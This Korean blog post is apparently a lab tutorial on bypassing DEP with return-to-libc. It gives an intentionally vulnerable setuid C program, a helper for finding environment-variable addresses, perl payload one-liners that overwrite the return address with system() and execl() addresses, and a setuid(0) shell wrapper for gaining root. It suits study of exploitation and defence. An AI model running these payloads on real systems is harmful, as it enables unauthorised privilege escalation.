Hacking/System Hacking

Stack Buffer Overflow(BOF) - DEP 우회 (RTL)

나노콛 2019. 9. 27. 00:37

DEP 보호가 되어있을 때
우회하는 공격 기법입니다.

RTL (Return To Libc)
공유 라이브러리를 이용하는 방법입니다.
프로그램 실행시 적재되고 여러 프로세스에서 공동으로 이용할 수 있는 라이브러리이며
메모리에서 실행 권한이 필수로 설정되어 있습니다.

공유 라이브러리 함수를 넣어서 공격하게 됩니다.


함수의 첫 번째 인자는 [EBP+8] ?? 
RTL의 공유 라이브러리 함수의 인자로 담을 내용에 관한 이야기입니다.

기본적으로 함수의 첫 번째 인자는 [EBP+8]인데요
그 이유에 대해서 알아보겠습니다.(위쪽이 낮은 주소)

먼저 메인 함수가 콜 됩니다.

메인 함수의 다음 명령어의 주소(RET)가 스택에 올라갑니다.

 

이후에 메인 함수 호출 전의 EBP를 스택에 올립니다. (함수가 종료되면 다시 이전의 기준점을 찾아가기 위해서) 그리고 EBP의 값이 ESP가 됩니다.

 

 

함수 호출 전 인자를 스택에 올립니다. 인자는 뒤의 값이 먼저 스택에 적재됩니다.

 

함수가 호출됩니다. 다음 명령어의 주소(RET)를 스택에 올립니다.

 

 

이전 EBP를 스택에 올리고 ebp 값이 esp가 됩니다.

 

인자는 뒤의 값이 먼저 스택에 올라가기 때문에
함수 내에서 사용되는 ebp+8의 값이 처음 인자의 값이 됩니다.


 

공격 시나리오
취약점이 있는 프로그램 작성
buffer에서 sfp(이전 ebp)까지의 거리 확인

공용 라이브러리 함수 system()의 주소 확인

system()인 자 주소 확인


1. 프로그램 작성 컴파일 후 setuid bit 설정 (chmod 4755)

bof.c

 

/* bof.c */
#include <stdio.h>
int main(int argc, char* argv[])
{
        char buffer[40];
        strcpy(buffer,argv[1]);
        printf("%s\n",buffer);
        return 0;
}

buffer 크기 확인


3. 공격

다른 계정으로 로그인

system() 인자로 넣을 내용의 주소 & 문자 셋 ko_KR.euckr로 변경

/* env의 소스코드 */
#include <stdlib.h>

int main(int argc, char* argv[])
{
        char * addr;
        addr = getenv(argv[1]); //getenv 환경변수 주소 구하는 함수
        printf("located is %p\n",addr);
        return 0;
}


system() 주소 (gdb 실행시 bof를 복사해서 파일 권한이 root가 아니어야 한다)

gdb에서 실행(run)을 해야 system 함수의 주소를 확인할 수 있다. print system

 

./bof "`perl -e 'print "A"x60,"\xc0\xf2\x03\x42","AAAA","\x1b\xfc\xff\xbf";'`"

 

buffer의 크기 56 - 이전 ebp 4까지 합해서 60의 문자열을 넣어주고
RET에 system()의 주소를
system 호출 시 생성된 ret는 4byte로 문자 aaaa 넣어서 넘어가고
첫 번째 인자 argv의 값을  system() 인자로 넣어주게 되는 방식

하지만 system("/bin/sh") 이게 실행됐을 뿐
권한이 바뀌지 않습니다.

setuid(0)을 추가해야 합니다.

execl 함수를 사용해서
setuid(0)과
system("bin/sh")를 실행하는 프로그램을 실행하도록 해서 관리자 권한 쉘을 획득해보겠습니다.

일반 사용자 계정으로 아래와 같이 코딩 후 컴파일 합니다.

sh.c

 

#include<stdio.h>
int main()
{
        setuid(0);
        system("/bin/sh");
}


execl 함수의 주소를 알아냅니다. (execl은 처음 인자 경로에 있는 파일을 실행하는 함수입니다.)

execl 원형 
int execl(char const *path, char const *arg0, ...);

사용 예
execl("bin/sh","argv",NULL)

코딩한 sh의 파일 주소를 확인합니다. (파일의 실행 위치)


공격

./bof "`perl -e 'print "A"x60,"\xa0\xca\x0a\x42","BBBB","\x1b\xfc\xff\xbf"x3;'`"

 


execl 함수는 마지막 인자로 NULL이 들어가야 되는데
마지막 /tmp/sh의 주소를 3번이나 넣는 이유는
2번 넣는다면

이렇게 값이 들어가는데

x3을 하면

마지막에 null이 왔기 때문에 execl 함수가 제대로 동작하게 됩니다.